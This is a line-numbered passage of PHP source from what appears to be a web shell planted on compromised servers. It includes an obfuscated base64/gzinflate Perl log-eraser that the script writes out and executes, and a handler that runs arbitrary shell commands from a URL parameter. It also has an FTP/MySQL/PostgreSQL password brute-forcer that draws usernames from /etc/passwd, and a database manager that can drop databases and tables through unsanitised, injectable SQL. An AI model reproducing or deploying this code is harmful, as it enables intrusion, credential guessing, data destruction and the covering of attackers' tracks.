3927 $erase = gzinflate(base64_decode("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"));
3928 if(is_writable("."))
3929 {
3930 if($openp = fopen(getcwd()."/logseraser.pl", 'w'))
3931 {
3932 fwrite($openp, $erase);
3933 fclose($openp);
3934 passthru("perl logseraser.pl linux");
3935 unlink("logseraser.pl");
3936 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3937 }
3938 } else
3939 {
3940 if($openp = fopen("/tmp/logseraser.pl", 'w'))
3941 {
3942 fwrite($openp, $erase)or die("Error");
3943 fclose($openp);
3944 $aidx = passthru("perl logseraser.pl linux");
3945 unlink("logseraser.pl");
3946 echo "<center><font color=#FFFFFF size=3>Logs Cleared</font></center>";
3947 }
3948 }
3949 }
3950 else
3951 {
3952 $check = shell_exec($_GET['mycmd']);
3953 echo "<center><textarea cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3954 }
3955}
3956else if(isset($_GET['prototype']))
3957{
3958 echo '<h1>Results</h1><div><span>Type:</span> '.htmlspecialchars($_GET['prototype']).' <span><br>Server:</span> '.htmlspecialchars($_GET['serverport']).'<br>';
3959 if( $_GET['prototype'] == 'ftp' )
3960 {
3961 function BruteFun($ip,$port,$login,$pass)
3962 {
3963 $fp = @ftp_connect($ip, $port?$port:21);
3964 if(!$fp) return false;
3965 $res = @ftp_login($fp, $login, $pass);
3966 @ftp_close($fp);
3967 return $res;
3968 }
3969 }
3970 elseif( $_GET['prototype'] == 'mysql' )
3971 {
3972 function BruteFun($ip,$port,$login,$pass)
3973 {
3974 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
3975 @mysql_close($res);
3976 return $res;
3977 }
3978 }
3979 elseif( $_GET['prototype'] == 'pgsql' )
3980 {
3981 function BruteFun($ip,$port,$login,$pass)
3982 {
3983 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
3984 $res = @pg_connect($str);
3985 @pg_close($res);
3986 return $res;
3987 }
3988 }
3989
3990 $success = 0;
3991 $attempts = 0;
3992 $server = explode(":", $_GET['server']);
3993 if($_GET['type'] == 1)
3994 {
3995 $temp = @file('/etc/passwd');
3996 if( is_array($temp))
3997 foreach($temp as $line)
3998 {
3999 $line = explode(":", $line);
4000 ++$attempts;
4001 if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
4002 {
4003 $success++;
4004 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
4005 }
4006 if(@$_GET['reverse'])
4007 {
4008 $tmp = "";
4009 for($i=strlen($line[0])-1; $i>=0; --$i)
4010 $tmp .= $line[0][$i];
4011 ++$attempts;
4012 if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
4013 {
4014 $success++;
4015 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
4016 }
4017 }
4018 }
4019 }
4020 elseif($_GET['type'] == 2)
4021 {
4022 $temp = @file($_GET['dict']);
4023 if( is_array($temp) )
4024 foreach($temp as $line)
4025 {
4026 $line = trim($line);
4027 ++$attempts;
4028 if(BruteFun($server[0],@$server[1], $_GET['login'], $line) )
4029 {
4030 $success++;
4031 echo '<b>'.htmlspecialchars($_GET['login']).'</b>:'.htmlspecialchars($line).'<br>';
4032 }
4033 }
4034 }
4035 echo "<span>Attempts:</span> <font class=txt>$attempts</font> <span>Success:</span> <font class=txt>$success</font></div>";
4036}
4037// Execute Query
4038else if(isset($_GET["executeit"]))
4039{
4040 if(isset($_GET['username']) && isset($_GET['server']))
4041 {
4042 $dbserver = $_GET['server'];
4043 $dbuser = $_GET['username'];
4044 $dbpass = $_GET['password'];
4045 if(mysql_connect($dbserver,$dbuser,$dbpass))
4046 {
4047 setcookie("dbserver", $dbserver);
4048 setcookie("dbuser", $dbuser);
4049 setcookie("dbpass", $dbpass);
4050
4051 listdatabase();
4052 }
4053 else
4054 echo "cannotconnect";
4055 }
4056}
4057else if(isset($_GET['action']) && isset($_GET['dbname']))
4058
4059
4060 {
4061 if($_GET['action'] == "createDB")
4062 {
4063 $dbname = $_GET['dbname'];
4064 $dbserver = $_COOKIE["dbserver"];
4065 $dbuser = $_COOKIE["dbuser"];
4066 $dbpass = $_COOKIE["dbpass"];
4067 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4068 mysql_query("create database $dbname",$mysqlHandle);
4069 listdatabase();
4070 }
4071 if($_GET['action'] == 'dropDB')
4072 {
4073 $dbname = $_GET['dbname'];
4074 $dbserver = $_COOKIE["dbserver"];
4075 $dbuser = $_COOKIE["dbuser"];
4076 $dbpass = $_COOKIE["dbpass"];
4077 $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
4078 mysql_query("drop database $dbname",$mysqlHandle);
4079 mysql_close($mysqlHandle);
4080 listdatabase();
4081 }
4082
4083 if($_GET['action'] == 'listTables')
4084 {
4085 listtable();
4086 }
4087
4088 // Create Tables
4089 if($_GET['action'] == "createtable")
4090 {
4091 $dbserver = $_COOKIE["dbserver"];
4092 $dbuser = $_COOKIE["dbuser"];
4093 $dbpass = $_COOKIE["dbpass"];
4094 $dbname = $_GET['dbname'];
4095 $tablename = $_GET['tablename'];
4096 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4097 mysql_select_db($dbname);
4098 mysql_query("CREATE TABLE $tablename ( no INT )");
4099 listtable();
4100 }
4101
4102 // Drop Tables
4103 if($_GET['action'] == "dropTable")
4104 {
4105 $dbserver = $_COOKIE["dbserver"];
4106 $dbuser = $_COOKIE["dbuser"];
4107 $dbpass = $_COOKIE["dbpass"];
4108 $dbname = $_GET['dbname'];
4109 $tablename = $_GET['tablename'];
4110 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4111 mysql_select_db($dbname);
4112 mysql_query("drop table $tablename");
4113 listtable();
4114 }
4115
4116 // Empty Tables
4117 if($_GET['action'] == "empty")
4118 {
4119 $dbserver = $_COOKIE["dbserver"];
4120 $dbuser = $_COOKIE["dbuser"];
4121 $dbpass = $_COOKIE["dbpass"];
4122 $dbname = $_GET['dbname'];
4123 $tablename = $_GET['tablename'];
4124 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4125 mysql_select_db($dbname);
4126 mysql_query("delete from $tablename");
4127 listtable();
4128 }
4129
4130 // Empty Tables
4131 if($_GET['action'] == "dropField")
4132 {
4133 $dbserver = $_COOKIE["dbserver"];
4134 $dbuser = $_COOKIE["dbuser"];
4135 $dbpass = $_COOKIE["dbpass"];
4136 $dbname = $_GET['dbname'];
4137 $tablename = $_GET['tablename'];
4138 $fieldname = $_GET['fieldname'];
4139 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4140 mysql_select_db($dbname);
4141 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
4142 mysql_select_db( $dbname, $mysqlHandle );
4143 mysql_query( $queryStr , $mysqlHandle );
4144 listtable();
4145 }
4146
4147 if($_GET['action'] == 'viewdb')
4148 {
4149 listdatabase();
4150 }
4151
4152 // View Table Schema
4153 if($_GET['action'] == "viewSchema")
4154 {
4155 $dbserver = $_COOKIE["dbserver"];
4156 $dbuser = $_COOKIE["dbuser"];
4157 $dbpass = $_COOKIE["dbpass"];
4158 $dbname = $_GET['dbname'];
4159 $tablename = $_GET['tablename'];
4160 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4161 mysql_select_db($dbname);
4162 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4163 $pResult = mysql_query( "SHOW fields FROM $tablename" );
4164 $num = mysql_num_rows( $pResult );
4165 echo "<br><br><table align=center cellspacing=4 style='width:80%;' border=1>";
4166 echo "<th>Field</th><th>Type</th><th>Null</th><th>Key</th></th>";
4167 for( $i = 0; $i < $num; $i++ )
4168 {
4169 $field = mysql_fetch_array( $pResult );
4170 echo "<tr>\n";
4171 echo "<td>".$field["Field"]."</td>\n";
4172 echo "<td>".$field["Type"]."</td>\n";
4173 echo "<td>".$field["Null"]."</td>\n";
4174 echo "<td>".$field["Key"]."</td>\n";
4175 echo "<td>".$field["Default"]."</td>\n";
4176 echo "<td>".$field["Extra"]."</td>\n";
4177 $fieldname = $field["Field"];
4178 echo "<td><a href=# onClick=\"viewtables('dropField','$dbname','$tablename','','','','$fieldname')\">Drop</a></td>\n";
4179 echo "</tr>\n";
4180 }
4181 echo "</table>";
4182 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4183 }
4184
4185 // Execute Query
4186 if($_GET['action'] == "executequery")
4187 {
4188 $dbserver = $_COOKIE["dbserver"];
4189 $dbuser = $_COOKIE["dbuser"];
4190 $dbpass = $_COOKIE["dbpass"];
4191 $dbname = $_GET['dbname'];
4192 $tablename = $_GET['tablename'];
4193 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4194 mysql_select_db($dbname);
4195 $result = mysql_query($_GET['executemyquery']);
4196
4197 // results
4198 echo "<html>\r\n". strtoupper($_GET['executemyquery']) . "<br>\r\n<table border =\"1\">\r\n";
4199
4200 $count = 0;
4201 while ($row = mysql_fetch_assoc($result))
4202 {
4203 echo "<tr>\r\n";
4204
4205 if ($count==0) // list column names
4206 {
4207 echo "<tr>\r\n";
4208 while($key = key($row))
4209 {
4210 echo "<td><b>" . $key . "</b></td>\r\n";
4211 next($row);
4212 }
4213 echo "</tr>\r\n";
4214 }
4215
4216 foreach($row as $r) // list content of column names
4217 {
4218 if ($r=='') $r = '<font >NULL</font>';
4219 echo "<td><font class=txt>" . $r . "</font></td>\r\n";
4220 }
4221 echo "</tr>\r\n";
4222 $count++;
4223 }
4224 echo "</table>\n\r<font class=txt size=3>" . $count . " rows returned.</font>\r\n</html>";
4225 echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4226 }
4227
4228 // View Table Data
4229 if($_GET['action'] == "viewdata")
4230 {
4231 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4232 $dbserver = $_COOKIE["dbserver"];
4233 $dbuser = $_COOKIE["dbuser"];
4234 $dbpass = $_COOKIE["dbpass"];
4235 $dbname = $_GET['dbname'];
4236 $tablename = $_GET['tablename'];
4237 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4238 ?>
4239 <br><br>
4240 <form>
4241 <table>
4242 <tr>
4243 <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
4244 </tr>
4245 <tr>
4246 <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
4247 </tr>
4248 </table>
4249 </form>
4250 <?php
4251 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4252 mysql_select_db($dbname);
4253
4254 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4255 $row = mysql_fetch_array($sql);
4256 $rowid = $row['COLUMN_NAME'];
4257
4258 echo "<br><font size=4 color =lime>Data in Table</font><br>";
4259 if( $tablename != "" )
4260 echo "<font size=3 class=txt>$dbname > $tablename</font><br>";
4261 else
4262 echo "<font size=3 class=txt>$dbname</font><br>";
4263
4264 $queryStr = "";
4265 $pag = 0;
4266 $queryStr = stripslashes( $queryStr );
4267 if( $queryStr == "" )
4268 {
4269 if(isset($_REQUEST['page']))
4270 {
4271 $res = mysql_query("select * from $tablename");
4272 $getres = mysql_num_rows($res);
4273 $coun = ceil($getres/30);
4274 if($_REQUEST['page'] != 1)
4275
4276 $pag = $_REQUEST['page'] * 30;
4277 else
4278 $pag = $_REQUEST['page'] * 30;
4279
4280 $queryStr = "SELECT * FROM $tablename LIMIT $pag,30";
4281 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT $pag,30");
4282 $arrcount = 1;
4283 $arrdata[$arrcount] = 0;
4284 while($row = mysql_fetch_array($sql))
4285 {
4286 $arrdata[$arrcount] = $row[$rowid];
4287 $arrcount++;
4288 }
4289 }
4290 else
4291 {
4292 $queryStr = "SELECT * FROM $tablename LIMIT 0,30";
4293 $sql = mysql_query("SELECT $rowid FROM $tablename ORDER BY $rowid LIMIT 0,30");
4294 $arrcount = 1;
4295 $arrdata[$arrcount] = 0;
4296 while($row = mysql_fetch_array($sql))
4297 {
4298 $arrdata[$arrcount] = $row[$rowid];
4299 $arrcount++;
4300 }
4301 }
4302 if( $orderby != "" )
4303 $queryStr .= " ORDER BY $orderby";
4304 echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\"><font size=3>Schema</font></a>\n";
4305 }
4306
4307
4308 $pResult = mysql_query($queryStr );
4309 $fieldt = mysql_fetch_field($pResult);
4310 $tablename = $fieldt->table;
4311 $errMsg = mysql_error();
4312
4313 $GLOBALS[queryStr] = $queryStr;
4314
4315 if( $pResult == false )
4316 {
4317 echoQueryResult();
4318 return;
4319 }
4320 if( $pResult == 1 )
4321 {
4322 $errMsg = "Success";
4323 echoQueryResult();
4324 return;
4325 }
4326
4327 echo "<hr color='#1B1B1B'>\n";
4328
4329 $row = mysql_num_rows( $pResult );
4330 $col = mysql_num_fields( $pResult );
4331
4332 if( $row == 0 )
4333 {
4334 echo "<font size=3>No Data Exist!</font>";
4335 return;
4336 }
4337
4338 if( $rowperpage == "" ) $rowperpage = 30;
4339 if( $page == "" ) $page = 0;
4340 else $page--;
4341 mysql_data_seek( $pResult, $page * $rowperpage );
4342
4343 echo "<table cellspacing=1 cellpadding=5 border=1 align=center>\n";
4344 echo "<tr>\n";
4345 for( $i = 0; $i < $col; $i++ )
4346 {
4347 $field = mysql_fetch_field( $pResult, $i );
4348 echo "<th>";
4349 if($action == "viewdata")
4350 echo "<a href='$PHP_SELF?action=viewdata&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
4351 else
4352 echo $field->name."\n";
4353 echo "</th>\n";
4354 }
4355 echo "<th colspan=2>Action</th>\n";
4356 echo "</tr>\n";
4357 $num=1;
4358
4359
4360 $acount = 1;
4361
4362 for( $i = 0; $i < $rowperpage; $i++ )
4363 {
4364 $rowArray = mysql_fetch_row( $pResult );
4365 if( $rowArray == false ) break;
4366 echo "<tr>\n";
4367 $key = "";
4368 for( $j = 0; $j < $col; $j++ )
4369 {
4370 $data = $rowArray[$j];
4371
4372 $field = mysql_fetch_field( $pResult, $j );
4373 if( $field->primary_key == 1 )
4374 $key .= "&" . $field->name . "=" . $data;
4375
4376 if( strlen( $data ) > 30 )
4377 $data = substr( $data, 0, 30 ) . "...";
4378 $data = htmlspecialchars( $data );
4379 echo "<td>\n";
4380 echo "<font class=txt>$data</font>\n";
4381 echo "</td>\n";
4382 }
4383
4384 if(!is_numeric($arrdata[$acount]))
4385 echo "<td colspan=2>No Key</td>\n";
4386 else
4387 {
4388 echo "<td><a href=# onClick=\"viewtables('editData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Edit</a></td>\n";
4389 echo "<td><a href=# onClick=\"viewtables('deleteData','$dbname','$tablename','$rowid','$arrdata[$acount]')\">Delete</a></td>\n";
4390 $acount++;
4391 }
4392 }
4393 echo "</tr>\n";
4394
4395
4396 echo "</table>";
4397 if($arrcount > 30)
4398 {
4399 $res = mysql_query("select * from $tablename");
4400 $getres = mysql_num_rows($res);
4401 $coun = ceil($getres/30);
4402 echo "<form action=$self><input type=hidden value=viewdata name=action><input type=hidden name=tablename value=$tablename><input type=hidden value=$dbname name=dbname><select style='width: 95px;' name=page class=sbox>";
4403 for($i=0;$i<$coun;$i++)
4404 echo "<option value=$i>$i</option>";
4405
4406 echo "</select> <input type=button onClick=\"viewtables('viewdata','$dbname','$tablename','','','','',page.value)\" value=Go class=but></form>";
4407 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4408 }
4409 }
4410
4411 // Delete Table Data
4412 if($_GET['action'] == "deleteData")
4413 {
4414 $dbserver = $_COOKIE["dbserver"];
4415 $dbuser = $_COOKIE["dbuser"];
4416 $dbpass = $_COOKIE["dbpass"];
4417 $dbname = $_GET['dbname'];
4418 $tablename = $_GET['tablename'];
4419 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4420 mysql_select_db($dbname);
4421 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4422 $row = mysql_fetch_array($sql);
4423 $row = $row['COLUMN_NAME'];
4424 $rowid = $_GET[$row];
4425 mysql_query("delete from $tablename where $row = '$rowid'");
4426 listtable();
4427 }
4428 // Edit Table Data
4429 if($_GET['action'] == "editData")
4430 {
4431 global $queryStr, $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby, $data;
4432 $dbserver = $_COOKIE["dbserver"];
4433 $dbuser = $_COOKIE["dbuser"];
4434 $dbpass = $_COOKIE["dbpass"];
4435 $dbname = $_GET['dbname'];
4436 $tablename = $_GET['tablename'];
4437 echo "<br><div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>></font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> <font color=white size=3>></font> <a href=# onClick=\"viewtables('listTables','$dbname','$tablename')\"> <font size=3>Table List</font> </a> <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
4438 ?>
4439 <br><br>
4440 <form action="<?php echo $self; ?>" method="post">
4441 <?php
4442 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4443 mysql_select_db($dbname);
4444
4445 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4446 $row = mysql_fetch_array($sql);
4447 $row = $row['COLUMN_NAME'];
4448 $rowid = $_GET[$row];
4449
4450 $pResult = mysql_list_fields( $dbname, $tablename );
4451 $num = mysql_num_fields( $pResult );
4452
4453 $key = "";
4454 for( $i = 0; $i < $num; $i++ )
4455 {
4456 $field = mysql_fetch_field( $pResult, $i );
4457 if( $field->primary_key == 1 )
4458 if( $field->numeric == 1 )
4459 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
4460 else
4461 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
4462 }
4463 $key = substr( $key, 0, strlen($key)-4 );
4464
4465 mysql_select_db( $dbname, $mysqlHandle );
4466 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
4467 $data = mysql_fetch_array( $pResult );
4468
4469 echo "<table cellspacing=1 cellpadding=2 border=1>\n";
4470 echo "<tr>\n";
4471 echo "<th>Name</th>\n";
4472 echo "<th>Type</th>\n";
4473 echo "<th>Function</th>\n";
4474 echo "<th>Data</th>\n";
4475 echo "</tr>\n";
4476
4477 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4478 $num = mysql_num_rows( $pResult );
4479
4480 $pResultLen = mysql_list_fields( $dbname, $tablename );
4481 $fundata1 = "'action','editsubmitData','dbname','".$dbname."','tablename','".$tablename."',";
4482 $fundata2 = "'action','insertdata','dbname','".$dbname."','tablename','".$tablename."',";
4483 for( $i = 0; $i < $num; $i++ )
4484 {
4485 $field = mysql_fetch_array( $pResult );
4486 $fieldname = $field["Field"];
4487 $fieldtype = $field["Type"];
4488 $len = mysql_field_len( $pResultLen, $i );
4489
4490 echo "<tr>";
4491 echo "<td>$fieldname</td>";
4492 echo "<td>".$field["Type"]."</td>";
4493 echo "<td>\n";
4494 echo "<select name=${fieldname}_function class=sbox>\n";
4495 echo "<option>\n";
4496 echo "<option>ASCII\n";
4497 echo "<option>CHAR\n";
4498 echo "<option>SOUNDEX\n";
4499 echo "<option>CURDATE\n";
4500 echo "<option>CURTIME\n";
4501 echo "<option>FROM_DAYS\n";
4502 echo "<option>FROM_UNIXTIME\n";
4503 echo "<option>NOW\n";
4504 echo "<option>PASSWORD\n";
4505 echo "<option>PERIOD_ADD\n";
4506 echo "<option>PERIOD_DIFF\n";
4507 echo "<option>TO_DAYS\n";
4508 echo "<option>USER\n";
4509 echo "<option>WEEKDAY\n";
4510 echo "<option>RAND\n";
4511 echo "</select>\n";
4512 echo "</td>\n";
4513 $value = htmlspecialchars($data[$i]);
4514 $type = strtok( $fieldtype, " (,)\n" );
4515 if( $type == "enum" || $type == "set" )
4516 {
4517 echo "<td>\n";
4518 if( $type == "enum" )
4519 echo "<select name=$fieldname class=box>\n";
4520 else if( $type == "set" )
4521 echo "<select name=$fieldname size=4 class=box multiple>\n";
4522 while( $str = strtok( "'" ) )
4523 {
4524 if( $value == $str )
4525 echo "<option selected>$str\n";
4526 else
4527 echo "<option>$str\n";
4528 strtok( "'" );
4529 }
4530 echo "</select>\n";
4531 echo "</td>\n";
4532 }
4533 else
4534 {
4535 if( $len < 40 )
4536 echo "<td><input type=text size=40 maxlength=$len id=dhanush_$fieldname name=sql_$fieldname value=\"$value\" class=box></td>\n";
4537 else
4538 echo "<td><textarea cols=47 rows=3 maxlength=$len name=dhanush_$fieldname class=box>$value</textarea>\n";
4539 }
4540 $fundata1 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4541 $fundata2 .= "'dhanush_".$fieldname."',dhanush_".$fieldname.".value,";
4542 echo "</tr>";
4543 }
4544 $fundata1=eregi_replace(',$', '', $fundata1);
4545 $fundata2=eregi_replace(',$', '', $fundata2);
4546
4547 echo "</table><p>\n";
4548 echo "<input type=button onClick=\"editdata($fundata1)\" value='Edit Data' class=but>\n";
4549 echo "<input type=button value='Insert' onClick=\"editdata($fundata2)\" class=but>\n";
4550 echo "</form>\n";
4551 }
4552 }
4553// Edit Submit Table Data
4554else if($_REQUEST['action'] == "editsubmitData")
4555{
4556 $dbserver = $_COOKIE["dbserver"];
4557 $dbuser = $_COOKIE["dbuser"];
4558 $dbpass = $_COOKIE["dbpass"];
4559 $dbname = $_POST['dbname'];
4560 $tablename = $_POST['tablename'];
4561
4562 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4563 mysql_select_db($dbname);
4564
4565 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4566 $row = mysql_fetch_array($sql);
4567 $row = $row['COLUMN_NAME'];
4568 $rowid = $_POST[$row];
4569
4570 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4571 $num = mysql_num_rows( $pResult );
4572
4573 $rowcount = $num;
4574
4575 $pResultLen = mysql_list_fields( $dbname, $tablename );
4576
4577 for( $i = 0; $i < $num; $i++ )
4578 {
4579 $field = mysql_fetch_array( $pResult );
4580 $fieldname = $field["Field"];
4581 $arrdata = $_REQUEST[$fieldname];
4582
4583 $str .= " " . $fieldname . " = '" . $arrdata . "'";
4584 $rowcount--;
4585 if($rowcount != 0)
4586 $str .= ",";
4587 }
4588
4589 $str = "update $tablename set" . $str . " where $row=$rowid";
4590 mysql_query($str);
4591 ?><div id="showsql"></div><?php
4592}
4593// Insert Table Data
4594else if($_REQUEST['action'] == "insertdata")
4595{
4596 $dbserver = $_COOKIE["dbserver"];
4597 $dbuser = $_COOKIE["dbuser"];
4598 $dbpass = $_COOKIE["dbpass"];
4599 $dbname = $_POST['dbname'];
4600 $tablename = $_POST['tablename'];
4601
4602 $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
4603 mysql_select_db($dbname);
4604
4605 $sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = '$dbname') AND (`TABLE_NAME` = '$tablename') AND (`COLUMN_KEY` = 'PRI');");
4606 $row = mysql_fetch_array($sql);
4607 $row = $row['COLUMN_NAME'];
4608 $rowid = $_POST[$row];
4609
